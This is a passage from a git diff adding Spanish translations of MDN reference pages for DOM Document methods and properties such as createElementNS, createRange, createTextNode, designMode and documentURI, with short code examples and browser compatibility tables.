+<h3 id="Notas_de_CSS_Quantum">Notas de CSS Quantum</h3>
+
+<ul>
+ <li>En Gecko, cuando creas un subarbol separado (por ejemplo, un {{htmlelement("div")}}  creado usando <code><strong>createElement()</strong></code> que aún no ha sido insertado en el DOM), el elemento raíz del subarbol es insertado como un elemento "block". En el nuevo motor paralelo de CSS de Firefox (tambien conocido como <a href="https://wiki.mozilla.org/Quantum">Quantum CSS</a> o <a href="https://wiki.mozilla.org/Quantum/Stylo">Stylo</a>, planeado para ser publicado en Firefox 57), el elemento es insertado como "inline", según se especifica en {{bug(1374994)}}.</li>
+</ul>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li>{{domxref("Node.removeChild()")}}</li>
+ <li>{{domxref("Node.replaceChild()")}}</li>
+ <li>{{domxref("Node.appendChild()")}}</li>
+ <li>{{domxref("Node.insertBefore()")}}</li>
+ <li>{{domxref("Node.hasChildNodes()")}}</li>
+</ul>
diff --git a/files/es/web/api/document/createelementns/index.html b/files/es/web/api/document/createelementns/index.html
new file mode 100644
index 0000000000..29571b0978
--- /dev/null
+++ b/files/es/web/api/document/createelementns/index.html
@@ -0,0 +1,168 @@
+---
+title: Document.createElementNS()
+slug: Web/API/Document/createElementNS
+translation_of: Web/API/Document/createElementNS
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p>Crea un elemento del DOM con el espacio de nombres URI y un nombre calificado.</p>
+
+<p>Para crear un elemento sin especificar un espacio de nombre URI usa el método <a href="createElement" title="createElement">createElement</a>.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="brush: js"><var>var element</var> = <var>document</var>.createElementNS(<var>namespaceURI</var>, <var>qualifiedName</var>[, options]);
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>namespaceURI</code></dt>
+ <dd><em>String </em>que especifica el <a class="external" href="http://www.w3.org/TR/2004/REC-DOM-Level-3-Core-20040407/glossary.html#dt-namespaceURI">namespace URI</a> a asociar con el elemento. La propiedad <a href="/en-US/docs/DOM/element.namespaceURI">namespaceURI</a> del elemento creado es inicializada con el valor del <code>namespaceURI</code>. Ver <a href="/en-US/docs/Web/API/Document/createElementNS#Valid_Namespace_URI's">Namespace URIs válidos</a>.</dd>
+ <dt><code>qualifiedName</code></dt>
+ <dd><em>String</em> que especifica el tipo del elemento a ser creado. La propiedad <a href="/en-US/docs/DOM/element.nodeName">nodeName</a> del elemento creado es inicializada con el valor <code>qualifiedName</code>.</dd>
+ <dt><code>options</code><span class="inlineIndicator optional optionalInline">Opcional</span></dt>
+ <dd>Un objeto opcional <code>ElementCreationOptions</code> que contiene una sola propiedad llamada <code>is</code>, cuyo valor es el nombre de la etiqueta para un elemento personalizado previamente definido usando <code>customElements.define()</code>. Para retro compatibilidad con versiones previas de la <a href="https://www.w3.org/TR/custom-elements/">Especificación de Elementos Personalizados</a>, algunos navegadores te permitirán pasar un <em>String</em> aquí en lugar de un <em>Objeto</em>, donde el valor del <em>String</em> es el nombre de la etiqueta del elemento personalizado. Ver <a href="https://developers.google.com/web/fundamentals/primers/customelements/#extendhtml">Extendiendo elementos HTML nativos</a> para más información sobre como usar este parámetro.</dd>
+ <dd>Al nuevo elemento le será dado un atributo <code>is</code> cuyo valor es el nombre de la etiqueta del elemento personalizado. Los elementos personalizados son una característica experimental disponible solo en algunos navegadores.</dd>
+</dl>
+
+<h3 id="Valor_de_Retorno">Valor de Retorno</h3>
+
+<p>El nuevo <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Element">Elemento</a></code>.</p>
+
+<h2 id="Example" name="Example">Namespace URIs válidos</h2>
+
+<ul>
+ <li>HTML - Usa <code>http://www.w3.org/1999/xhtml</code></li>
+ <li>SVG - Usa <code>http://www.w3.org/2000/svg</code></li>
+ <li>XBL - Usa <code>http://www.mozilla.org/xbl</code></li>
+ <li>XUL - Usa <code>http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</code></li>
+</ul>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<p>El código siguiente crea un elemento &lt;div&gt; nuevo en el namespace <a href="/en-US/docs/XHTML" title="XHTML">XHTML</a> y lo agrega al elemento vbox. Aunque no es un documento <a href="/en-US/docs/XUL" title="XUL">XUL</a> extremamente útil esto demuestra el uso de los elementos de dos namespaces distintos dentro de un solo documento:</p>
+
+<pre class="brush:xml">&lt;?xml version="1.0"?&gt;
+&lt;page xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"
+      xmlns:html="http://www.w3.org/1999/xhtml"
+      title="||Trabajando con elementos||"
+      onload="init()"&gt;
+
+&lt;script type="text/javascript"&gt;&lt;![CDATA[
+ var container;
+ var newdiv;
+ var txtnode;
+
+ function init(){
+   container = document.getElementById("ContainerBox");
+   newdiv = document.createElementNS("http://www.w3.org/1999/xhtml","div");
+   txtnode = document.createTextNode("Este es el texto que fue construido dinámicamente con createElementNS y createTextNode y luego insertado dentro del documento usando appendChild.");
+   newdiv.appendChild(txtnode);
+   container.appendChild(newdiv);
+ }
+
+]]&gt;&lt;/script&gt;
+
+ &lt;vbox id='ContainerBox' flex='1'&gt;
+  &lt;html:div&gt;
+   El script en esta página agregará contenido dinámico debajo:
+  &lt;/html:div&gt;
+ &lt;/vbox&gt;
+
+&lt;/page&gt;
+</pre>
+
+<div class="note">
+<p>El ejemplo dado arriba usa script en linea lo cúal no es recomendable en documentos XHTML. Este ejemplo en particular es un documento XUL con XHTML embedido, de cualquier forma la recomendación aplica.</p>
+</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', "#dom-document-createelementns", "Document.createElement")}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Soporte</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>argumento <code>options</code> </td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatGeckoDesktop(50)}}<sup>[2][3]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Soporte</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] En versiones previas de la especificación  el argumento fue solo un String cuyo valor fue el nombre de etiqueta del elemento personalizado. Por motivo de retro compatibilidad Chrome acepta ambas formas.</p>
+
+<p>[2] Ver [1] arriba: Firefox al igual que Chrome acepta un string en lugar de un objeto, pero solo de la version 51 en adelante. En la version 50 <code>options</code> debe ser un objeto.</p>
+
+<p>[3] Para experimentar con elementos personalizados en Firefox debes establecer las preferencias  <code>dom.webcomponents.enabled</code> y <code>dom.webcomponents.customelements.enabled</code> como <code>true</code>.</p>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li><a href="createElement">document.createElement</a></li>
+ <li><a href="createTextNode">document.createTextNode</a></li>
+ <li><a href="../Node/namespaceURI">Node.namespaceURI</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/1999/REC-xml-names-19990114">Namespaces in XML</a></li>
+</ul>
diff --git a/files/es/web/api/document/createrange/index.html b/files/es/web/api/document/createrange/index.html
new file mode 100644
index 0000000000..8c0cc63391
--- /dev/null
+++ b/files/es/web/api/document/createrange/index.html
@@ -0,0 +1,42 @@
+---
+title: document.createRange
+slug: Web/API/Document/createRange
+tags:
+  - Rango
+  - Referencia_DOM_de_Gecko
+  - crear rango
+translation_of: Web/API/Document/createRange
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>Retorna un nuevo objeto <code><a href="https://developer.mozilla.org/es/docs/Web/API/Range">Rango</a></code>.</p>
+
+<h3 id="Sint.C3.A1xis" name="Sint.C3.A1xis">Sintáxis</h3>
+
+<pre class="eval"><var>range</var> = <var>document</var>.createRange();
+</pre>
+
+<p>En este ejemplo, <code>range</code> es el nuevo objeto <a href="https://developer.mozilla.org/es/docs/Web/API/Range">rango</a> creado.</p>
+
+<h3 id="Ejemplo" name="Ejemplo">Ejemplo</h3>
+
+<pre class="eval">var range = document.createRange();
+range.setStart(startNode, startOffset);
+range.setEnd(endNode, endOffset);
+</pre>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<p>Una vez que se ha creado un objeto <code>Rango</code>, se necesita configurar sus puntos límites antes de hacer uso de la mayoría de sus métodos.</p>
+
+<h3 id="Especificaci.C3.B3n" name="Especificaci.C3.B3n">Especificación</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/ranges.html#Level2-DocumentRange-method-createRange">DOM Level 2 Range: DocumentRange.createRange</a></p>
+
+
+
+<div class="noinclude"></div>
+
+<p>{{ languages( { "en": "en/DOM/document.createRange", "pl": "pl/DOM/document.createRange" } ) }}</p>
diff --git a/files/es/web/api/document/createtextnode/index.html b/files/es/web/api/document/createtextnode/index.html
new file mode 100644
index 0000000000..fc1b1488f4
--- /dev/null
+++ b/files/es/web/api/document/createtextnode/index.html
@@ -0,0 +1,78 @@
+---
+title: Document.createTextNode()
+slug: Web/API/Document/createTextNode
+tags:
+  - API
+  - DOM
+  - Documento
+  - Referencia
+  - createTextNode
+  - metodo
+translation_of: Web/API/Document/createTextNode
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Crea un nuevo nodo de texto. Este método puede ser usado para escapar caracteres HTML.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var <var>text</var> = document.createTextNode(<var>data</var>);
+</pre>
+
+<ul>
+ <li><var>text</var> es un nodo Text.</li>
+ <li><var>data</var> es una cadena de texto <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String">string</a> que contiene los datos a poner en el nodo de texto.</li>
+</ul>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+&lt;title&gt;createTextNode example&lt;/title&gt;
+&lt;script&gt;
+function addTextNode(text) {
+  var newtext = document.createTextNode(text),
+      p1 = document.getElementById("p1");
+
+  p1.appendChild(newtext);
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+  &lt;button onclick="addTextNode('YES! ');"&gt;YES!&lt;/button&gt;
+  &lt;button onclick="addTextNode('NO! ');"&gt;NO!&lt;/button&gt;
+  &lt;button onclick="addTextNode('WE CAN! ');"&gt;WE CAN!&lt;/button&gt;
+
+  &lt;hr /&gt;
+
+  &lt;p id="p1"&gt;First line of paragraph.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-document-createtextnode', 'Document: createTextNode')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("api.Document.createTextNode")}}</p>
diff --git a/files/es/web/api/document/defaultview/index.html b/files/es/web/api/document/defaultview/index.html
new file mode 100644
index 0000000000..e2b44cdd71
--- /dev/null
+++ b/files/es/web/api/document/defaultview/index.html
@@ -0,0 +1,35 @@
+---
+title: Document.defaultView
+slug: Web/API/Document/defaultView
+tags:
+  - API
+  - Document
+  - HTML DOM
+  - NeedsUpdate
+  - Property
+  - Reference
+translation_of: Web/API/Document/defaultView
+---
+<div>{{ ApiRef() }}</div>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>En los navegadores devuelve el objeto <a href="/en-US/docs/DOM/window" title="DOM/window">window</a> asociado con el <code>document </code>o <code>null</code> si no está disponible.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox">var win = document.defaultView;</pre>
+
+<p>Esta propiedad es de solo lectura.</p>
+
+<h2 id="Notes" name="Notes">Notas</h2>
+
+<p>De acuerco con <a class="external" href="http://www.quirksmode.org/dom/w3c_html.html">quirksmode</a>, <code>defaultView</code> no está soportado en IE hasta su version 9.</p>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<ul>
+ <li><a href="/en-US/docs/HTML/HTML5" title="HTML/HTML5">HTML5: defaultView</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Views/views.html#Views-DocumentView-defaultView">DOM Level 2 Views: defaultView</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Views/" title="http://www.w3.org/TR/DOM-Level-3-Views/">DOM Level 3 Views</a> (Actualmente en desarrolo como "Working Group Note" en W3C y aún no está implementado)</li>
+</ul>
diff --git a/files/es/web/api/document/designmode/index.html b/files/es/web/api/document/designmode/index.html
new file mode 100644
index 0000000000..cf234abee9
--- /dev/null
+++ b/files/es/web/api/document/designmode/index.html
@@ -0,0 +1,56 @@
+---
+title: Document.designMode
+slug: Web/API/Document/designMode
+tags:
+  - API
+  - Documento
+  - HTML DOM
+  - Propiedad
+  - Referencia
+  - editor
+translation_of: Web/API/Document/designMode
+---
+<div>{{ ApiRef() }}</div>
+
+<p><strong><code>document.designMode</code></strong> controla la posibilidad de editar un documento entero. Los valores válidos son <code>"on"</code> y <code>"off"</code>. De acuerdo a las especificaciones,  el valor predeterminado de esta propiedad es <code>"off"</code>. Firefox sigue este estándar. El valor predeterminado de versiones anteriores de Chrome y IE es <code>"inherit"</code>. En IE6-10, el valor se escribe con mayúscula.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var mode = document.designMode;
+document.designMode = "on" || "off";</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Hacer un documento {{HTMLElement("iframe")}} editable:</p>
+
+<pre class="brush: js">iframeNode.contentDocument.designMode = "on";
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#making-entire-documents-editable:-the-designmode-idl-attribute', 'designMode')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_Navegadores">Compatibilidad de Navegadores</h2>
+
+<p>{{Compat("api.Document.designMode")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Rich-Text_Editing_in_Mozilla">Editando text enriquecido en Mozilla</a></li>
+ <li>{{domxref("HTMLElement.contentEditable")}}</li>
+ <li><a href="https://msdn.microsoft.com/en-us/library/ms533720(v=vs.85).aspx">propiedad designMode</a> en MSDN</li>
+</ul>
diff --git a/files/es/web/api/document/dir/index.html b/files/es/web/api/document/dir/index.html
new file mode 100644
index 0000000000..61c8a2d637
--- /dev/null
+++ b/files/es/web/api/document/dir/index.html
@@ -0,0 +1,76 @@
+---
+title: Document.dir
+slug: Web/API/Document/dir
+translation_of: Web/API/Document/dir
+---
+<p>{{ApiRef("")}}{{non-standard_header}}</p>
+
+<p>La propiedad <code><strong>Document.dir</strong></code> es una {{domxref("DOMString")}} que representa la dirección del texto del documento, ya sea de izquierda a derecha o de derecha a izquierda, siendo la primera el valor por defecto. Sus valores posibles son <em>rtl </em>(Right To Left) o <em>ltr </em>(Left To Right).</p>
+
+<h2 id="Sintáxis">Sintáxis</h2>
+
+<pre class="syntaxbox"><em>dirStr</em> = <em>document.</em>dir;
+<em>document.dir</em> = <em>dirStr;</em>
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>HTML5 WHATWG</p>
+
+<h2 id="Compatibilidad_de_Navegadores">Compatibilidad de Navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Antes de Firefox 23, la propiedad <code>Document.dir</code> devolvía "ltr" independientemente del valor de su elemento {{htmlelement("html")}} raíz.</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><a class="external" href="http://msdn.microsoft.com/en-us/library/ms533731.aspx" rel="freelink">http://msdn.microsoft.com/en-us/library/ms533731.aspx</a></li>
+</ul>
diff --git a/files/es/web/api/document/doctype/index.html b/files/es/web/api/document/doctype/index.html
new file mode 100644
index 0000000000..145ca57300
--- /dev/null
+++ b/files/es/web/api/document/doctype/index.html
@@ -0,0 +1,65 @@
+---
+title: Document.doctype
+slug: Web/API/Document/doctype
+tags:
+  - API
+  - DOCTYPE
+  - DOM
+  - Document
+  - Propiedad
+  - Referencia
+translation_of: Web/API/Document/doctype
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p>Devuelve la Declaración de tipo de documento (Document Type Declaration (DTD)), asociada al documento actual. El objeto devuelto implementa la interfaz {{domxref("DocumentType")}}. Utilice {{domxref("DOMImplementation.createDocumentType()")}} para crear un <code>DocumentType</code>.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>doctype</var> = <var>document</var>.doctype;
+</pre>
+
+<ul>
+ <li><code>doctype</code> es una propiedad de sólo lectura.</li>
+</ul>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush:js">var doctypeObj = document.doctype;
+
+console.log(
+  "doctypeObj.name: "           + doctypeObj.name            + "\n" +
+  "doctypeObj.internalSubset: " + doctypeObj.internalSubset  + "\n" +
+  "doctypeObj.publicId: "       + doctypeObj.publicId        + "\n" +
+  "doctypeObj.systemId: "       + doctypeObj.systemId
+);</pre>
+
+<h2 id="Notas">Notas</h2>
+
+<p>La propiedad devuelve <code>null</code> si no hay DTD asociada al documento actual.</p>
+
+<p>El nivel 2 de DOM no soporta la edición de la declaración de tipo de documento.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM3 Core", "core.html#ID-B63ED1A31", "Document.doctype")}}</td>
+   <td>{{Spec2("DOM3 Core")}}</td>
+   <td>Cambiado el valor de retorno para documentos HTML sin el elemento {{HTMLElement("html")}}. Define que el tipo de documento puede ser modificado.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Core", "core.html#ID-B63ED1A31", "Document.doctype")}}</td>
+   <td>{{Spec2("DOM2 Core")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/es/web/api/document/documentelement/index.html b/files/es/web/api/document/documentelement/index.html
new file mode 100644
index 0000000000..30453050f7
--- /dev/null
+++ b/files/es/web/api/document/documentelement/index.html
@@ -0,0 +1,42 @@
+---
+title: document.documentElement
+slug: Web/API/Document/documentElement
+tags:
+  - Referencia_DOM_de_Gecko
+translation_of: Web/API/Document/documentElement
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p><strong>Solo-lectura</strong></p>
+
+<p>Devuelve el <code><a href="es/DOM/element">Element</a></code> que es el elemento raíz de <a href="es/DOM/document">document</a> (por ejemplo, devuelve el elemento <code>&lt;html&gt;</code> en los documentos HTML).</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval">var<em>element</em> = document.documentElement;
+</pre>
+
+<h3 id="Ejemplo" name="Ejemplo">Ejemplo</h3>
+
+<pre class="eval">var rootElement = document.documentElement;
+var firstTier = rootElement.childNodes;
+// firstTier el la NodeList de los hijos directos del elemento raízof the direct children of the root element
+for (var i = 0; i &lt; firstTier.length; i++) {
+   // hacer algo con cada uno de los hijos directos del elemento raíz
+   // como firstTier[i]
+}
+</pre>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<p>Esta propiedad es de sólo-lectura, facilitada para obtener el elemento raíz de cualquier documento.</p>
+
+<p>Los documentos HTML contienen normalmente un único hijo directo, <code>&lt;html&gt;</code>, quizá con una declaración DOCTYPE antes que él. Los documento XML contienen a menudo, múltiples hijos: el elemento raíz, la declaración DOCTYPE y <a href="es/DOM/ProcessingInstruction"> processing instructions</a>.</p>
+
+<p>Por tanto, deberías usar <code>document.documentElement</code> en lugar de {{ Domxref("document.firstChild") }} para obtener el elemento raíz.</p>
+
+<h3 id="Especificaci.C3.B3n" name="Especificaci.C3.B3n">Especificación</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-87CD092">DOM Level 2 Core: Document.documentElement</a></p>
diff --git a/files/es/web/api/document/documenturi/index.html b/files/es/web/api/document/documenturi/index.html
new file mode 100644
index 0000000000..4ff365a258
--- /dev/null
+++ b/files/es/web/api/document/documenturi/index.html
@@ -0,0 +1,121 @@
+---
+title: Document.documentURI
+slug: Web/API/Document/documentURI
+tags:
+  - API
+  - ContenidoNecesario
+  - DOM
+  - EjemploNecesario
+  - Propiedad
+  - Referencia
+  - UbicaciónDocumento
+translation_of: Web/API/Document/documentURI
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p>La propiedad <code><strong>documentURI</strong></code> de la interfaz del documento ({{domxref("Document")}}) devuelve la ubicación del documento como un <em>string</em>.</p>
+
+<p>Originalmente DOM3 fue definido como un atributo de lectura/escritura. En DOM4 se especifica unicamente como de lectura.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: js"><code>var string = document.documentURI;</code>
+</pre>
+
+<h2 id="Notas">Notas</h2>
+
+<p>Los documentos HTML tienen una propiedad {{domxref("document.URL")}} la cual devuelve el mismo valor (ubicación del documento). A diferencia de <code>URL</code>, <code>documentURI</code> está disponible para todos los tipos de documentos web.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4', '#dom-document-documenturi','documentURI')}}</td>
+   <td>{{Spec2('DOM4')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', '#Document3-documentURI', 'documentURI')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Funcionamiento DOM3</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Funcionamiento DOM4</td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Funcionamiento DOM3</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Funcionamiento DOM4</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/api/document/documenturiobject/index.html b/files/es/web/api/document/documenturiobject/index.html
new file mode 100644
index 0000000000..fe28ca825f
--- /dev/null
+++ b/files/es/web/api/document/documenturiobject/index.html
@@ -0,0 +1,39 @@
+---
+title: document.documentURIObject
+slug: Web/API/Document/documentURIObject
+tags:
+  - Referencia_DOM_de_Gecko
+translation_of: Web/API/Document/documentURIObject
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p><strong>Read-only</strong></p>
+
+<p>Devuelve un objeto {{ Interface("nsIURI") }} que representa la URI de <a href="es/DOM/document">document</a>.</p>
+
+<p>Esto sólo funciona para programas con privilegios (UniversalXPConnect) incluidas las extensiones. Para páginas web, esta propiedad no tiene significado especial y puede usarse de igual forma que cualquier otra propiedad del usuario.</p>
+
+<p>El código con privilegios, debe tener cuidado de no leer o escribir esta propiedad en un objeto no controlado (e.g. on a <code>wrappedJSObject</code> of an <code><a href="es/XPCNativeWrapper">XPCNativeWrapper</a></code>). Ver {{ Bug(324464) }}para más detalles.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval">var<em>uri</em> =<em>doc</em>.documentURIObject;
+</pre>
+
+<h3 id="Ejemplo" name="Ejemplo">Ejemplo</h3>
+
+<pre class="eval">// Comprueba que el esquema URI de la pestaña de Firefox es 'http',
+// asumiendo que este código se ejecuta dentro de browser.xul
+var uriObj = content.document.documentURIObject;
+var uriPort = uriObj.port;
+
+if (uriObj.schemeIs('http')) {
+  ...
+}
+</pre>
+
+<h3 id="Especificaci.C3.B3n" name="Especificaci.C3.B3n">Especificación</h3>
+
+<p>No forma parte de ninguna especificación W3C.</p>
diff --git a/files/es/web/api/document/dragover_event/index.html b/files/es/web/api/document/dragover_event/index.html
new file mode 100644
index 0000000000..c4fe204135
--- /dev/null
+++ b/files/es/web/api/document/dragover_event/index.html
@@ -0,0 +1,338 @@
+---
+title: dragover
+slug: Web/API/Document/dragover_event
+translation_of: Web/API/Document/dragover_event
+---
+<div>{{APIRef}}</div>
+
+<p>El evento <code>dragover</code> se activa cuando un elemento o texto se arrastra a un objetivo válido (cada pocos cientos de milisegundos).</p>
+
+<p> </p>
+
+<p>El evento se activa en la caída al objetivo.</p>
+
+<h2 id="General_info">General info</h2>
+
